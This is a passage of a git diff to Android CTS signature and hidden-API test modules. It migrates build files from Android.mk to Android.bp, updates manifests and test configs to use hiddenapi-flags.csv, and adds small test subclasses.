 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.current">
+          package="android.signature.cts.api.current"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <application android:debuggable="true"/>
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true"/>
 
     <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
                      android:targetPackage="android.signature.cts.api.current"
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
index 59b7bd6..d605847 100644
--- a/tests/signature/api-check/current-api/AndroidTest.xml
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -16,20 +16,9 @@
 <configuration description="Config for CTS Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCurrentApiSignatureTestCases.apk" />
@@ -37,9 +26,9 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="current.api" />
-        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+        <option name="class" value="android.signature.cts.api.current.SignatureTest" />
+        <option name="instrumentation-arg" key="expected-api-files" value="current.txt" />
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-base-current.txt,android-test-mock-current.txt,android-test-runner-current.txt" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/current-api/src/android/signature/cts/api/current/SignatureTest.java b/tests/signature/api-check/current-api/src/android/signature/cts/api/current/SignatureTest.java
new file mode 100644
index 0000000..1eadd2f
--- /dev/null
+++ b/tests/signature/api-check/current-api/src/android/signature/cts/api/current/SignatureTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.current;
+
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.bp b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.bp
new file mode 100644
index 0000000..7750b14
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiBlacklistApi27TestCases",
+    defaults: [
+        "hiddenapi-blacklist-check-defaults",
+    ],
+    min_sdk_version: "27",
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
deleted file mode 100644
index 58bf17d..0000000
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistApi27TestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml
index 838112f..144d631 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml
@@ -16,12 +16,13 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.hiddenapi_blacklist_api_27">
+          package="android.signature.cts.api.hiddenapi_blacklist_api_27"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-    <uses-sdk android:targetSdkVersion="27" />
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27" />
 
-    <application/>
+    <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
     <instrumentation
         android:name="repackaged.android.test.InstrumentationTestRunner"
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
index bfa5fc6..d168b2d 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
@@ -16,13 +16,8 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
-    </target_preparer>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlacklistApi27TestCases.apk" />
@@ -30,8 +25,9 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_27" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.HiddenApiTest" />
-        <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api" />
+        <option name="class" value="android.signature.cts.api.api27.HiddenApiTest" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/src/android/signature/cts/api/api27/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blacklist-27-api/src/android/signature/cts/api/api27/HiddenApiTest.java
new file mode 100644
index 0000000..c940aac
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/src/android/signature/cts/api/api27/HiddenApiTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.api27;
+
+public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/Android.bp b/tests/signature/api-check/hidden-api-blacklist-28-api/Android.bp
new file mode 100644
index 0000000..44ec9ba
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiBlacklistApi28TestCases",
+    defaults: [
+        "hiddenapi-blacklist-check-defaults",
+    ],
+    min_sdk_version: "27",
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidManifest.xml
new file mode 100644
index 0000000..919cd00
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.hiddenapi_blacklist_api_28"
+          android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
+
+    <application android:extractNativeLibs="true" android:largeHeap="true"/>
+
+    <instrumentation
+        android:name="repackaged.android.test.InstrumentationTestRunner"
+        android:targetPackage="android.signature.cts.api.hiddenapi_blacklist_api_28"
+        android:label="Hidden API Blacklist Test for SDK level 28"/>
+</manifest>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
new file mode 100644
index 0000000..6285971
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Hidden API Signature test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsHiddenApiBlacklistApi28TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_28" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="class" value="android.signature.cts.api.api28.HiddenApiTest" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o" />
+        <option name="runtime-hint" value="30s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/src/android/signature/cts/api/api28/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blacklist-28-api/src/android/signature/cts/api/api28/HiddenApiTest.java
new file mode 100644
index 0000000..f85dda3
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/src/android/signature/cts/api/api28/HiddenApiTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.api28;
+
+public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.bp b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.bp
new file mode 100644
index 0000000..ea419f2
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiBlacklistCurrentApiTestCases",
+    defaults: [
+        "hiddenapi-blacklist-check-defaults",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
deleted file mode 100644
index e518f14..0000000
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistCurrentApiTestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api dark_greylist.api
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml
index 12d0393..a17daac 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml
@@ -16,11 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.hiddenapi_blacklist_current">
+          package="android.signature.cts.api.hiddenapi_blacklist_current"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <application/>
+    <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
     <instrumentation
         android:name="repackaged.android.test.InstrumentationTestRunner"
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
index dfcd0d9..3fb352d 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
@@ -16,14 +16,8 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
-        <option name="push" value="dark_greylist.api->/data/local/tmp/signature-test/dark_greylist.api" />
-    </target_preparer>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlacklistCurrentApiTestCases.apk" />
@@ -31,8 +25,9 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.HiddenApiTest" />
-        <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api,dark_greylist.api" />
+        <option name="class" value="android.signature.cts.api.current.HiddenApiTest" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/src/android/signature/cts/api/current/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blacklist-current-api/src/android/signature/cts/api/current/HiddenApiTest.java
new file mode 100644
index 0000000..34f33fe
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/src/android/signature/cts/api/current/HiddenApiTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.current;
+
+public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.bp b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.bp
new file mode 100644
index 0000000..150ba8c
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiBlacklistDebugClassTestCases",
+    defaults: [
+        "hiddenapi-blacklist-check-defaults",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
deleted file mode 100644
index 7f6d5b6..0000000
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistDebugClassTestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api dark_greylist.api
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml
index 8586df6..8646c80 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml
@@ -16,11 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.hiddenapi_blacklist_debug_class">
+          package="android.signature.cts.api.hiddenapi_blacklist_debug_class"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <application/>
+    <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
     <instrumentation
         android:name="repackaged.android.test.InstrumentationTestRunner"
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
index e58c362..9c49d41 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
@@ -16,14 +16,8 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
-        <option name="push" value="dark_greylist.api->/data/local/tmp/signature-test/dark_greylist.api" />
-    </target_preparer>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlacklistDebugClassTestCases.apk" />
@@ -32,7 +26,8 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_debug_class" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.DebugClassHiddenApiTest" />
-        <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api,dark_greylist.api" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
new file mode 100644
index 0000000..cb86794
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHiddenApiKillswitchDebugClassTestCases",
+    defaults: ["hiddenapi-killswitch-check-defaults"],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk
deleted file mode 100644
index 7423448..0000000
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchDebugClassTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
index 1bd686b..b502561 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
@@ -16,9 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.killswitch_debug_class">
+          package="android.signature.cts.api.killswitch_debug_class"
+          android:targetSandboxVersion="2">
 
-    <application android:debuggable="true"/>
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true"/>
 
